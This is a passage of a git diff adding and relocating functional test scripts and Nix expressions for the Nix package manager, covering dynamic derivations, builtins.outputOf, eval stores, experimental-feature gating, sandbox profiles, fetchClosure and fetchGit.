-0,0 +1,21 @@ +#!/usr/bin/env bash + +source common.sh + +# In the corresponding nix file, we have two derivations: the first, named `hello`, +# is a normal recursive derivation, while the second, named dependent, has the +# new outputHashMode "text". Note that in "dependent", we don't refer to the +# build output of `hello`, but only to the path of the drv file. For this reason, +# we only need to: +# +# - instantiate `hello` +# - build `producingDrv` +# - check that the path of the output coincides with that of the original derivation + +out1=$(nix build -f ./text-hashed-output.nix hello --no-link) + +clearStore + +drvDep=$(nix-instantiate ./text-hashed-output.nix -A producingDrv) + +expectStderr 1 nix build "${drvDep}^out^out" --no-link | grepQuiet "Building dynamic derivations in one shot is not yet implemented" diff --git a/tests/functional/dyn-drv/common.sh b/tests/functional/dyn-drv/common.sh new file mode 100644 index 000000000..0d95881b6 --- /dev/null +++ b/tests/functional/dyn-drv/common.sh @@ -0,0 +1,10 @@ +source ../common.sh + +# Need backend to support text-hashing too +requireDaemonNewerThan "2.16.0pre20230419" + +enableFeatures "ca-derivations dynamic-derivations" + +TODO_NixOS + +restartDaemon diff --git a/tests/functional/dyn-drv/config.nix.in b/tests/functional/dyn-drv/config.nix.in new file mode 120000 index 000000000..af24ddb30 --- /dev/null +++ b/tests/functional/dyn-drv/config.nix.in @@ -0,0 +1 @@ +../config.nix.in \ No newline at end of file diff --git a/tests/functional/dyn-drv/dep-built-drv.sh b/tests/functional/dyn-drv/dep-built-drv.sh new file mode 100644 index 000000000..4f6e9b080 --- /dev/null +++ b/tests/functional/dyn-drv/dep-built-drv.sh @@ -0,0 +1,11 @@ +#!/usr/bin/env bash + +source common.sh + +out1=$(nix-build ./text-hashed-output.nix -A hello --no-out-link) + +clearStore + +expectStderr 1 nix-build ./text-hashed-output.nix -A wrapper --no-out-link | grepQuiet "Building dynamic derivations in one shot is not yet implemented" + +# diff -r $out1 $out2 diff --git a/tests/functional/dyn-drv/eval-outputOf.sh b/tests/functional/dyn-drv/eval-outputOf.sh new file mode 100644 index 000000000..3681bd098 --- /dev/null +++ b/tests/functional/dyn-drv/eval-outputOf.sh @@ -0,0 +1,80 @@ +#!/usr/bin/env bash + +source ./common.sh + +# Without the dynamic-derivations XP feature, we don't have the builtin. +nix --experimental-features 'nix-command' eval --impure --expr \ + 'assert ! (builtins ? outputOf); ""' + +# Test that a string is required. +# +# We currently require a string to be passed, rather than a derivation +# object that could be coerced to a string. We might liberalise this in +# the future so it does work, but there are some design questions to +# resolve first. Adding a test so we don't liberalise it by accident. +expectStderr 1 nix --experimental-features 'nix-command dynamic-derivations' eval --impure --expr \ + 'builtins.outputOf (import ../dependencies.nix {}) "out"' \ + | grepQuiet "expected a string but found a set" + +# Test that "DrvDeep" string contexts are not supported at this time +# +# Like the above, this is a restriction we could relax later. +expectStderr 1 nix --experimental-features 'nix-command dynamic-derivations' eval --impure --expr \ + 'builtins.outputOf (import ../dependencies.nix {}).drvPath "out"' \ + | grepQuiet "has a context which refers to a complete source and binary closure. This is not supported at this time" + +# Test using `builtins.outputOf` with static derivations +testStaticHello () { + nix eval --impure --expr \ + 'with (import ./text-hashed-output.nix); let + a = hello.outPath; + b = builtins.outputOf (builtins.unsafeDiscardOutputDependency hello.drvPath) "out"; + in builtins.trace a + (builtins.trace b + (assert a == b; null))' +} + +# Test with a regular old input-addresed derivation +# +# `builtins.outputOf` works without ca-derivations and doesn't create a +# placeholder but just returns the output path. +testStaticHello + +# Test with content addressed derivation. +NIX_TESTS_CA_BY_DEFAULT=1 testStaticHello + +# Test with derivation-producing derivation +# +# This is hardly different from the preceding cases, except that we're +# only taking 1 outputOf out of 2 possible outputOfs. Note that +# `.outPath` could be defined as `outputOf drvPath`, which is what we're +# testing here. The other `outputOf` that we're not testing here is the +# use of _dynamic_ derivations. +nix eval --impure --expr \ + 'with (import ./text-hashed-output.nix); let + a = producingDrv.outPath; + b = builtins.outputOf (builtins.builtins.unsafeDiscardOutputDependency producingDrv.drvPath) "out"; + in builtins.trace a + (builtins.trace b + (assert a == b; null))' + +# Test with unbuilt output of derivation-producing derivation. +# +# This function similar to `testStaticHello` used above, but instead of +# checking the property on a constant derivation, we check it on a +# derivation that's from another derivation's output (outPath). +testDynamicHello () { + nix eval --impure --expr \ + 'with (import ./text-hashed-output.nix); let + a = builtins.outputOf producingDrv.outPath "out"; + b = builtins.outputOf (builtins.outputOf (builtins.unsafeDiscardOutputDependency producingDrv.drvPath) "out") "out"; + in builtins.trace a + (builtins.trace b + (assert a == b; null))' +} + +# inner dynamic derivation is input-addressed +testDynamicHello + +# inner dynamic derivation is content-addressed +NIX_TESTS_CA_BY_DEFAULT=1 testDynamicHello diff --git a/tests/functional/dyn-drv/local.mk b/tests/functional/dyn-drv/local.mk new file mode 100644 index 000000000..c87534944 --- /dev/null +++ b/tests/functional/dyn-drv/local.mk @@ -0,0 +1,15 @@ +dyn-drv-tests := \ + $(d)/text-hashed-output.sh \ + $(d)/recursive-mod-json.sh \ + $(d)/build-built-drv.sh \ + $(d)/eval-outputOf.sh \ + $(d)/dep-built-drv.sh \ + $(d)/old-daemon-error-hack.sh + +install-tests-groups += dyn-drv + +clean-files += \ + $(d)/config.nix + +test-deps += \ + tests/functional/dyn-drv/config.nix diff --git a/tests/functional/dyn-drv/meson.build b/tests/functional/dyn-drv/meson.build new file mode 100644 index 000000000..3c671d013 --- /dev/null +++ b/tests/functional/dyn-drv/meson.build @@ -0,0 +1,19 @@ +configure_file( + input : 'config.nix.in', + output : 'config.nix', + configuration : test_confdata, +) + +suites += { + 'name': 'dyn-drv', + 'deps': [], + 'tests': [ + 'text-hashed-output.sh', + 'recursive-mod-json.sh', + 'build-built-drv.sh', + 'eval-outputOf.sh', + 'dep-built-drv.sh', + 'old-daemon-error-hack.sh', + ], + 'workdir': meson.current_build_dir(), +} diff --git a/tests/functional/dyn-drv/old-daemon-error-hack.nix b/tests/functional/dyn-drv/old-daemon-error-hack.nix new file mode 100644 index 000000000..c9d4a62d4 --- /dev/null +++ b/tests/functional/dyn-drv/old-daemon-error-hack.nix @@ -0,0 +1,20 @@ +with import ./config.nix; + +# A simple content-addressed derivation. +# The derivation can be arbitrarily modified by passing a different `seed`, +# but the output will always be the same +rec { + stub = mkDerivation { + name = "stub"; + buildCommand = '' + echo stub > $out + ''; + }; + wrapper = mkDerivation { + name = "has-dynamic-drv-dep"; + buildCommand = '' + exit 1 # we're not building this derivation + ${builtins.outputOf stub.outPath "out"} + ''; + }; +} diff --git a/tests/functional/dyn-drv/old-daemon-error-hack.sh b/tests/functional/dyn-drv/old-daemon-error-hack.sh new file mode 100644 index 000000000..43b049973 --- /dev/null +++ b/tests/functional/dyn-drv/old-daemon-error-hack.sh @@ -0,0 +1,11 @@ +# Purposely bypassing our usual common for this subgroup +source ../common.sh + +# Need backend to support text-hashing too +isDaemonNewer "2.18.0pre20230906" && skipTest "Daemon is too new" + +enableFeatures "ca-derivations dynamic-derivations" + +restartDaemon + +expectStderr 1 nix-instantiate --read-write-mode ./old-daemon-error-hack.nix | grepQuiet "the daemon is too old to understand dependencies on dynamic derivations" diff --git a/tests/functional/dyn-drv/recursive-mod-json.nix b/tests/functional/dyn-drv/recursive-mod-json.nix new file mode 100644 index 000000000..c6a24ca4f --- /dev/null +++ b/tests/functional/dyn-drv/recursive-mod-json.nix @@ -0,0 +1,33 @@ +with import ./config.nix; + +let innerName = "foo"; in + +mkDerivation rec { + name = "${innerName}.drv"; + SHELL = shell; + + requiredSystemFeatures = [ "recursive-nix" ]; + + drv = builtins.unsafeDiscardOutputDependency (import ./text-hashed-output.nix).hello.drvPath; + + buildCommand = '' + export NIX_CONFIG='experimental-features = nix-command ca-derivations' + + PATH=${builtins.getEnv "EXTRA_PATH"}:$PATH + + # JSON of pre-existing drv + nix derivation show $drv | jq .[] > drv0.json + + # Fix name + jq < drv0.json '.name = "${innerName}"' > drv1.json + + # Extend `buildCommand` + jq < drv1.json '.env.buildCommand += "echo \"I am alive!\" >> $out/hello\n"' > drv0.json + + # Used as our output + cp $(nix derivation add < drv0.json) $out + ''; + __contentAddressed = true; + outputHashMode = "text"; + outputHashAlgo = "sha256"; +} diff --git a/tests/functional/dyn-drv/recursive-mod-json.sh b/tests/functional/dyn-drv/recursive-mod-json.sh new file mode 100644 index 000000000..0698b81bd --- /dev/null +++ b/tests/functional/dyn-drv/recursive-mod-json.sh @@ -0,0 +1,27 @@ +source common.sh + +# FIXME +if [[ $(uname) != Linux ]]; then skipTest "Not running Linux"; fi + +export NIX_TESTS_CA_BY_DEFAULT=1 + +enableFeatures 'recursive-nix' +restartDaemon + +clearStore + +rm -f $TEST_ROOT/result + +EXTRA_PATH=$(dirname $(type -p nix)):$(dirname $(type -p jq)) +export EXTRA_PATH + +# Will produce a drv +metaDrv=$(nix-instantiate ./recursive-mod-json.nix) + +# computed "dynamic" derivation +drv=$(nix-store -r $metaDrv) + +# build that dyn drv +res=$(nix-store -r $drv) + +grep 'I am alive!' $res/hello diff --git a/tests/functional/dyn-drv/text-hashed-output.nix b/tests/functional/dyn-drv/text-hashed-output.nix new file mode 100644 index 000000000..99203b518 --- /dev/null +++ b/tests/functional/dyn-drv/text-hashed-output.nix @@ -0,0 +1,33 @@ +with import ./config.nix; + +# A simple content-addressed derivation. +# The derivation can be arbitrarily modified by passing a different `seed`, +# but the output will always be the same +rec { + hello = mkDerivation { + name = "hello"; + buildCommand = '' + set -x + echo "Building a CA derivation" + mkdir -p $out + echo "Hello World" > $out/hello + ''; + }; + producingDrv = mkDerivation { + name = "hello.drv"; + buildCommand = '' + echo "Copying the derivation" + cp ${builtins.unsafeDiscardOutputDependency hello.drvPath} $out + ''; + __contentAddressed = true; + outputHashMode = "text"; + outputHashAlgo = "sha256"; + }; + wrapper = mkDerivation { + name = "use-dynamic-drv-in-non-dynamic-drv"; + buildCommand = '' + echo "Copying the output of the dynamic derivation" + cp -r ${builtins.outputOf producingDrv.outPath "out"} $out + ''; + }; +} diff --git a/tests/functional/dyn-drv/text-hashed-output.sh b/tests/functional/dyn-drv/text-hashed-output.sh new file mode 100644 index 000000000..2cc877219 --- /dev/null +++ b/tests/functional/dyn-drv/text-hashed-output.sh @@ -0,0 +1,26 @@ +#!/usr/bin/env bash + +source common.sh + +# In the corresponding nix file, we have two derivations: the first, named root, +# is a normal recursive derivation, while the second, named dependent, has the +# new outputHashMode "text". Note that in "dependent", we don't refer to the +# build output of root, but only to the path of the drv file. For this reason, +# we only need to: +# +# - instantiate the root derivation +# - build the dependent derivation +# - check that the path of the output coincides with that of the original derivation + +drv=$(nix-instantiate ./text-hashed-output.nix -A hello) +nix show-derivation "$drv" + +drvProducingDrv=$(nix-instantiate ./text-hashed-output.nix -A producingDrv) +nix show-derivation "$drvProducingDrv" + +out1=$(nix-build ./text-hashed-output.nix -A producingDrv --no-out-link) + +nix path-info "$drv" --derivation --json | jq +nix path-info "$out1" --derivation --json | jq + +test "$out1" == "$drv" diff --git a/tests/functional/eval-store.sh b/tests/functional/eval-store.sh new file mode 100755 index 000000000..202e7b004 --- /dev/null +++ b/tests/functional/eval-store.sh @@ -0,0 +1,54 @@ +#!/usr/bin/env bash + +source common.sh + +TODO_NixOS + +# Using `--eval-store` with the daemon will eventually copy everything +# to the build store, invalidating most of the tests here +needLocalStore "“--eval-store” doesn't achieve much with the daemon" + +eval_store=$TEST_ROOT/eval-store + +clearStore +rm -rf "$eval_store" + +nix build -f dependencies.nix --eval-store "$eval_store" -o "$TEST_ROOT/result" +[[ -e $TEST_ROOT/result/foobar ]] +if [[ ! -n "${NIX_TESTS_CA_BY_DEFAULT:-}" ]]; then + # Resolved CA derivations are written to store for building + # + # TODO when we something more systematic + # (https://github.com/NixOS/nix/issues/5025) that distinguishes + # between scratch storage for building and the final destination + # store, we'll be able to make this unconditional again -- resolved + # derivations should only appear in the scratch store. + (! ls $NIX_STORE_DIR/*.drv) +fi +ls $eval_store/nix/store/*.drv + +clearStore +rm -rf "$eval_store" + +nix-instantiate dependencies.nix --eval-store "$eval_store" +(! ls $NIX_STORE_DIR/*.drv) +ls $eval_store/nix/store/*.drv + +clearStore +rm -rf "$eval_store" + +nix-build dependencies.nix --eval-store "$eval_store" -o "$TEST_ROOT/result" +[[ -e $TEST_ROOT/result/foobar ]] +if [[ ! -n "${NIX_TESTS_CA_BY_DEFAULT:-}" ]]; then + # See above + (! ls $NIX_STORE_DIR/*.drv) +fi +ls $eval_store/nix/store/*.drv + +clearStore +rm -rf "$eval_store" + +# Confirm that import-from-derivation builds on the build store +[[ $(nix eval --eval-store "$eval_store?require-sigs=false" --impure --raw --file ./ifd.nix) = hi ]] +ls $NIX_STORE_DIR/*dependencies-top/foobar +(! ls $eval_store/nix/store/*dependencies-top/foobar) diff --git a/tests/eval.nix b/tests/functional/eval.nix similarity index 100% rename from tests/eval.nix rename to tests/functional/eval.nix diff --git a/tests/functional/eval.sh b/tests/functional/eval.sh new file mode 100755 index 000000000..22d2d02a2 --- /dev/null +++ b/tests/functional/eval.sh @@ -0,0 +1,64 @@ +#!/usr/bin/env bash + +source common.sh + +clearStoreIfPossible + +testStdinHeredoc=$(nix eval -f - < $TEST_ROOT/xyzzy/default.nix +[[ $(nix eval --impure --expr "import $TEST_ROOT/foo/bar") = 123 ]] + +# Test --arg-from-file. +[[ "$(nix eval --raw --arg-from-file foo config.nix --expr '{ foo }: { inherit foo; }' foo)" = "$(cat config.nix)" ]] + +# Check that special(-ish) files are drained. +if [[ -e /proc/version ]]; then + [[ "$(nix eval --raw --arg-from-file foo /proc/version --expr '{ foo }: { inherit foo; }' foo)" = "$(cat /proc/version)" ]] +fi + +# Test --arg-from-stdin. +[[ "$(echo bla | nix eval --raw --arg-from-stdin foo --expr '{ foo }: { inherit foo; }' foo)" = bla ]] + +# Test that unknown settings are warned about +out="$(expectStderr 0 nix eval --option foobar baz --expr '""' --raw)" +[[ "$(echo "$out" | grep foobar | wc -l)" = 1 ]] + +# Test flag alias +out="$(nix eval --expr '{}' --build-cores 1)" +[[ "$(echo "$out" | wc -l)" = 1 ]] diff --git a/tests/functional/experimental-features.sh b/tests/functional/experimental-features.sh new file mode 100755 index 000000000..d7216992d --- /dev/null +++ b/tests/functional/experimental-features.sh @@ -0,0 +1,90 @@ +#!/usr/bin/env bash + +source common.sh + +# Skipping these two for now, because we actually *do* want flags and +# config settings to always show up in the manual, just be marked +# experimental. Will reenable once the manual generation takes advantage +# of the JSON metadata on this. +# +# # Without flakes, flake options should not show up +# # With flakes, flake options should show up +# +# function grep_both_ways { +# nix --experimental-features 'nix-command' "$@" | grepQuietInverse flake +# nix --experimental-features 'nix-command flakes' "$@" | grepQuiet flake +# +# # Also, the order should not matter +# nix "$@" --experimental-features 'nix-command' | grepQuietInverse flake +# nix "$@" --experimental-features 'nix-command flakes' | grepQuiet flake +# } +# +# # Simple case, the configuration effects the running command +# grep_both_ways show-config +# +# # Medium case, the configuration effects --help +# grep_both_ways store gc --help + +# Test settings that are gated on experimental features; the setting is ignored +# with a warning if the experimental feature is not enabled. The order of the +# `setting = value` lines in the configuration should not matter. + +# 'flakes' experimental-feature is disabled before, ignore and warn +NIX_CONFIG=' + experimental-features = nix-command + accept-flake-config = true +' expect 1 nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr +[[ $(cat "$TEST_ROOT/stdout") = '' ]] +grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" "$TEST_ROOT/stderr" +grepQuiet "error: could not find setting 'accept-flake-config'" "$TEST_ROOT/stderr" + +# 'flakes' experimental-feature is disabled after, ignore and warn +NIX_CONFIG=' + accept-flake-config = true + experimental-features = nix-command +' expect 1 nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr +[[ $(cat "$TEST_ROOT/stdout") = '' ]] +grepQuiet "Ignoring setting 'accept-flake-config' because experimental feature 'flakes' is not enabled" "$TEST_ROOT/stderr" +grepQuiet "error: could not find setting 'accept-flake-config'" "$TEST_ROOT/stderr" + +# 'flakes' experimental-feature is enabled before, process +NIX_CONFIG=' + experimental-features = nix-command flakes + accept-flake-config = true +' nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr +grepQuiet "true" "$TEST_ROOT/stdout" +grepQuietInverse "Ignoring setting 'accept-flake-config'" "$TEST_ROOT/stderr" + +# 'flakes' experimental-feature is enabled after, process +NIX_CONFIG=' + accept-flake-config = true + experimental-features = nix-command flakes +' nix config show accept-flake-config 1>"$TEST_ROOT"/stdout 2>"$TEST_ROOT"/stderr +grepQuiet "true" "$TEST_ROOT/stdout" +grepQuietInverse "Ignoring setting 'accept-flake-config'" "$TEST_ROOT/stderr" + +function exit_code_both_ways { + expect 1 nix --experimental-features 'nix-command' "$@" 1>/dev/null + nix --experimental-features 'nix-command flakes' "$@" 1>/dev/null + + # Also, the order should not matter + expect 1 nix "$@" --experimental-features 'nix-command' 1>/dev/null + nix "$@" --experimental-features 'nix-command flakes' 1>/dev/null +} + +exit_code_both_ways show-config --flake-registry 'https://no' + +# Double check these are stable +nix --experimental-features '' --help 1>/dev/null +nix --experimental-features '' doctor --help 1>/dev/null +nix --experimental-features '' repl --help 1>/dev/null +nix --experimental-features '' upgrade-nix --help 1>/dev/null + +# These 3 arguments are currently given to all commands, which is wrong (as not +# all care). To deal with fixing later, we simply make them require the +# nix-command experimental features --- it so happens that the commands we wish +# stabilizing to do not need them anyways. +for arg in '--print-build-logs' '--offline' '--refresh'; do + nix --experimental-features 'nix-command' "$arg" --help 1>/dev/null + expect 1 nix --experimental-features '' "$arg" --help 1>/dev/null +done diff --git a/tests/export-graph.nix b/tests/functional/export-graph.nix similarity index 81% rename from tests/export-graph.nix rename to tests/functional/export-graph.nix index fdac9583d..64fe36bd1 100644 --- a/tests/export-graph.nix +++ b/tests/functional/export-graph.nix @@ -17,13 +17,13 @@ rec { foo."bar.runtimeGraph" = mkDerivation { name = "dependencies"; builder = builtins.toFile "build-graph-builder" "${printRefs}"; - exportReferencesGraph = ["refs" (import ./dependencies.nix)]; + exportReferencesGraph = ["refs" (import ./dependencies.nix {})]; }; foo."bar.buildGraph" = mkDerivation { name = "dependencies"; builder = builtins.toFile "build-graph-builder" "${printRefs}"; - exportReferencesGraph = ["refs" (import ./dependencies.nix).drvPath]; + exportReferencesGraph = ["refs" (import ./dependencies.nix {}).drvPath]; }; } diff --git a/tests/export-graph.sh b/tests/functional/export-graph.sh old mode 100644 new mode 100755 similarity index 83% rename from tests/export-graph.sh rename to tests/functional/export-graph.sh index a1449b34e..b507b6d3a --- a/tests/export-graph.sh +++ b/tests/functional/export-graph.sh @@ -1,10 +1,14 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS + clearStore clearProfiles checkRef() { - nix-store -q --references $TEST_ROOT/result | grep -q "$1" || fail "missing reference $1" + nix-store -q --references $TEST_ROOT/result | grepQuiet "$1"'$' || fail "missing reference $1" } # Test the export of the runtime dependency graph. diff --git a/tests/export.sh b/tests/functional/export.sh old mode 100644 new mode 100755 similarity index 95% rename from tests/export.sh rename to tests/functional/export.sh index 2238539bc..3e895a540 --- a/tests/export.sh +++ b/tests/functional/export.sh @@ -1,5 +1,9 @@ +#!/usr/bin/env bash + source common.sh +TODO_NixOS + clearStore outPath=$(nix-build dependencies.nix --no-out-link) diff --git a/tests/functional/extra-sandbox-profile.nix b/tests/functional/extra-sandbox-profile.nix new file mode 100644 index 000000000..aa680b918 --- /dev/null +++ b/tests/functional/extra-sandbox-profile.nix @@ -0,0 +1,19 @@ +{ destFile, seed }: + +with import ./config.nix; + +mkDerivation { + name = "simple"; + __sandboxProfile = '' + # Allow writing any file in the filesystem + (allow file*) + ''; + inherit seed; + buildCommand = '' + ( + set -x + touch ${destFile} + touch $out + ) + ''; +} diff --git a/tests/functional/extra-sandbox-profile.sh b/tests/functional/extra-sandbox-profile.sh new file mode 100755 index 000000000..672e5779d --- /dev/null +++ b/tests/functional/extra-sandbox-profile.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +source common.sh + +if [[ $(uname) != Darwin ]]; then skipTest "Need Darwin"; fi + +DEST_FILE="${TEST_ROOT}/foo" + +testSandboxProfile () ( + set -e + + sandboxMode="$1" + + rm -f "${DEST_FILE}" + nix-build --no-out-link ./extra-sandbox-profile.nix \ + --option sandbox "$sandboxMode" \ + --argstr seed "$RANDOM" \ + --argstr destFile "${DEST_FILE}" + + ls -l "${DEST_FILE}" +) + +testSandboxProfile "false" +expectStderr 2 testSandboxProfile "true" +testSandboxProfile "relaxed" diff --git a/tests/failing.nix b/tests/functional/failing.nix similarity index 74% rename from tests/failing.nix rename to tests/functional/failing.nix index 2a0350d4d..d25e2d6b6 100644 --- a/tests/failing.nix +++ b/tests/functional/failing.nix @@ -6,7 +6,10 @@ let derivation ({ inherit system; builder = busybox; - args = ["sh" "-e" args.builder or (builtins.toFile "builder-${args.name}.sh" "if [ -e .attrs.sh ]; then source .attrs.sh; fi; eval \"$buildCommand\"")]; + args = ["sh" "-e" args.builder or (builtins.toFile "builder-${args.name}.sh" '' + if [ -e "$NIX_ATTRS_SH_FILE" ]; then source $NIX_ATTRS_SH_FILE; fi; + eval "$buildCommand" + '')]; } // removeAttrs args ["builder" "meta"]) // { meta = args.meta or {}; }; in diff --git a/tests/functional/fetchClosure.sh b/tests/functional/fetchClosure.sh new file mode 100755 index 000000000..7ef635d36 --- /dev/null +++ b/tests/functional/fetchClosure.sh @@ -0,0 +1,154 @@ +#!/usr/bin/env bash + +source common.sh + +enableFeatures "fetch-closure" + +TODO_NixOS + +clearStore +clearCacheCache + +# Old daemons don't properly zero out the self-references when +# calculating the CA hashes, so this breaks `nix store +# make-content-addressed` which expects the client and the daemon to +# compute the same hash +requireDaemonNewerThan "2.16.0pre20230524" + +# Initialize binary cache. +nonCaPath=$(nix build --json --file ./dependencies.nix --no-link | jq -r .[].outputs.out) +caPath=$(nix store make-content-addressed --json $nonCaPath | jq -r '.rewrites | map(.) | .[]') +nix copy --to file://$cacheDir $nonCaPath + +# Test basic fetchClosure rewriting from non-CA to CA. +clearStore + +[ ! -e $nonCaPath ] +[ ! -e $caPath ] + +[[ $(nix eval -v --raw --expr " + builtins.fetchClosure { + fromStore = \"file://$cacheDir\"; + fromPath = $nonCaPath; + toPath = $caPath; + } +") = $caPath ]] + +[ ! -e $nonCaPath ] +[ -e $caPath ] + +clearStore + +# The daemon will reject input addressed paths unless configured to trust the +# cache key or the user. This behavior should be covered by another test, so we +# skip this part when using the daemon. +if [[ "$NIX_REMOTE" != "daemon" ]]; then + + # If we want to return a non-CA path, we have to be explicit about it. + expectStderr 1 nix eval --raw --no-require-sigs --expr " + builtins.fetchClosure { + fromStore = \"file://$cacheDir\"; + fromPath = $nonCaPath; + } + " | grepQuiet -E "The .fromPath. value .* is input-addressed, but .inputAddressed. is set to .false." + + # TODO: Should the closure be rejected, despite single user mode? + # [ ! -e $nonCaPath ] + + [ ! -e $caPath ] + + # We can use non-CA paths when we ask explicitly. + [[ $(nix eval --raw --no-require-sigs --expr " + builtins.fetchClosure { + fromStore = \"file://$cacheDir\"; + fromPath = $nonCaPath; + inputAddressed = true; + } + ") = $nonCaPath ]] + + [ -e $nonCaPath ] + [ ! -e $caPath ] + + +fi + +[ ! -e $caPath ] + +# 'toPath' set to empty string should fail but print the expected path. +expectStderr 1 nix eval -v --json --expr " + builtins.fetchClosure { + fromStore = \"file://$cacheDir\"; + fromPath = $nonCaPath; + toPath = \"\"; + } +" | grep "error: rewriting.*$nonCaPath.*yielded.*$caPath" + +# If fromPath is CA, then toPath isn't needed. +nix copy --to file://$cacheDir $caPath + +clearStore + +[ ! -e $caPath ] + +[[ $(nix eval -v --raw --expr " + builtins.fetchClosure { + fromStore = \"file://$cacheDir\"; + fromPath = $caPath; + } +") = $caPath ]] + +[ -e $caPath ] + +# Check that URL query parameters aren't allowed. +clearStore +narCache=$TEST_ROOT/nar-cache +rm -rf $narCache +(! nix eval -v --raw --expr " + builtins.fetchClosure { + fromStore = \"file://$cacheDir?local-nar-cache=$narCache\"; + fromPath = $caPath; + } +") +(! [ -e $narCache ]) + +# If toPath is specified but wrong, we check it (only) when the path is missing. +clearStore + +badPath=$(echo $caPath | sed -e 's!/store/................................-!/store/xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx-!') + +[ ! -e $badPath ] + +expectStderr 1 nix eval -v --raw --expr " + builtins.fetchClosure { + fromStore = \"file://$cacheDir\"; + fromPath = $nonCaPath; + toPath = $badPath; + } +" | grep "error: rewriting.*$nonCaPath.*yielded.*$caPath.*while.*$badPath.*was expected" + +[ ! -e $badPath ] + +# We only check it when missing, as a performance optimization similar to what we do for fixed output derivations. So if it's already there, we don't check it. +# It would be nice for this to fail, but checking it would be too(?) slow. +[ -e $caPath ] + +[[ $(nix eval -v --raw --expr " + builtins.fetchClosure { + fromStore = \"file://$cacheDir\"; + fromPath = $badPath; + toPath = $caPath; + } +") = $caPath ]] + + +# However, if the output address is unexpected, we can report it + + +expectStderr 1 nix eval -v --raw --expr " + builtins.fetchClosure { + fromStore = \"file://$cacheDir\"; + fromPath = $caPath; + inputAddressed = true; + } +" | grepQuiet 'error.*The store object referred to by.*fromPath.* at .* is not input-addressed, but .*inputAddressed.* is set to .*true.*' + diff --git a/tests/fetchGit.sh b/tests/functional/fetchGit.sh old mode 100644 new mode 100755 similarity index 70% rename from tests/fetchGit.sh rename to tests/functional/fetchGit.sh index da09c3f37..78925b5cd --- a/tests/fetchGit.sh +++ b/tests/functional/fetchGit.sh @@ -1,11 +1,10 @@ +#!/usr/bin/env bash + source common.sh -if [[ -z $(type -p git) ]]; then - echo "Git not installed; skipping Git tests" - exit 99 -fi +requireGit -clearStore +clearStoreIfPossible # Intentionally not in a canonical form # See https://github.com/NixOS/nix/issues/6195 @@ -33,18 +32,31 @@ echo hello >> $TEST_ROOT/worktree/hello rev2=$(git -C $repo rev-parse HEAD) git -C $repo tag -a tag2 -m tag2 -# Fetch a worktree +# Check whether fetching in read-only mode works. +nix-instantiate --eval -E "builtins.readFile ((builtins.fetchGit file://$TEST_ROOT/worktree) + \"/hello\") == \"utrecht\\n\"" + +# Fetch a worktree. unset _NIX_FORCE_HTTP path0=$(nix eval --impure --raw --expr "(builtins.fetchGit file://$TEST_ROOT/worktree).outPath") path0_=$(nix eval --impure --raw --expr "(builtins.fetchTree { type = \"git\"; url = file://$TEST_ROOT/worktree; }).outPath") [[ $path0 = $path0_ ]] +path0_=$(nix eval --impure --raw --expr "(builtins.fetchTree git+file://$TEST_ROOT/worktree).outPath") +[[ $path0 = $path0_ ]] export _NIX_FORCE_HTTP=1 [[ $(tail -n 1 $path0/hello) = "hello" ]] +# Nuke the cache +rm -rf $TEST_HOME/.cache/nix + # Fetch the default branch. path=$(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).outPath") [[ $(cat $path/hello) = world ]] +# Fetch when the cache has packed-refs +# Regression test of #8822 +git -C $TEST_HOME/.cache/nix/gitv3/*/ pack-refs --all +path=$(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).outPath") + # Fetch a rev from another branch git -C $repo checkout -b devtest echo "different file" >> $TEST_ROOT/git/differentbranch @@ -52,9 +64,7 @@ git -C $repo add differentbranch git -C $repo commit -m 'Test2' git -C $repo checkout master devrev=$(git -C $repo rev-parse devtest) -out=$(nix eval --impure --raw --expr "builtins.fetchGit { url = file://$repo; rev = \"$devrev\"; }" 2>&1) || status=$? -[[ $status == 1 ]] -[[ $out =~ 'Cannot find Git revision' ]] +nix eval --impure --raw --expr "builtins.fetchGit { url = file://$repo; rev = \"$devrev\"; }" [[ $(nix eval --raw --expr "builtins.readFile (builtins.fetchGit { url = file://$repo; rev = \"$devrev\"; allRefs = true; } + \"/differentbranch\")") = 'different file' ]] @@ -69,6 +79,9 @@ path2=$(nix eval --raw --expr "(builtins.fetchGit { url = file://$repo; rev = \" # In pure eval mode, fetchGit with a revision should succeed. [[ $(nix eval --raw --expr "builtins.readFile (fetchGit { url = file://$repo; rev = \"$rev2\"; } + \"/hello\")") = world ]] +# But without a hash, it fails +expectStderr 1 nix eval --expr 'builtins.fetchGit "file:///foo"' | grepQuiet "'fetchGit' will not fetch unlocked input" + # Fetch again. This should be cached. mv $repo ${repo}-tmp path2=$(nix eval --impure --raw --expr "(builtins.fetchGit file://$repo).outPath") @@ -108,6 +121,8 @@ path2=$(nix eval --impure --raw --expr "(builtins.fetchGit $repo).outPath") [[ $(cat $path2/dir1/foo) = foo ]] [[ $(nix eval --impure --raw --expr "(builtins.fetchGit $repo).rev") = 0000000000000000000000000000000000000000 ]] +[[ $(nix eval --impure --raw --expr "(builtins.fetchGit $repo).dirtyRev") = "${rev2}-dirty" ]] +[[ $(nix eval --impure --raw --expr "(builtins.fetchGit $repo).dirtyShortRev") = "${rev2:0:7}-dirty" ]] # ... unless we're using an explicit ref or rev. path3=$(nix eval --impure --raw --expr "(builtins.fetchGit { url = $repo; ref = \"master\"; }).outPath") @@ -122,6 +137,10 @@ git -C $repo commit -m 'Bla3' -a path4=$(nix eval --impure --refresh --raw --expr "(builtins.fetchGit file://$repo).outPath") [[ $path2 = $path4 ]] +[[ $(nix eval --impure --expr "builtins.hasAttr \"rev\" (builtins.fetchGit $repo)") == "true" ]] +[[ $(nix eval --impure --expr "builtins.hasAttr \"dirtyRev\" (builtins.fetchGit $repo)") == "false" ]] +[[ $(nix eval --impure --expr "builtins.hasAttr \"dirtyShortRev\" (builtins.fetchGit $repo)") == "false" ]] + status=0 nix eval --impure --raw --expr "(builtins.fetchGit { url = $repo; rev = \"$rev2\"; narHash = \"sha256-B5yIPHhEm0eysJKEsO7nqxprh9vcblFxpJG11gXJus1=\"; }).outPath" || status=$? [[ 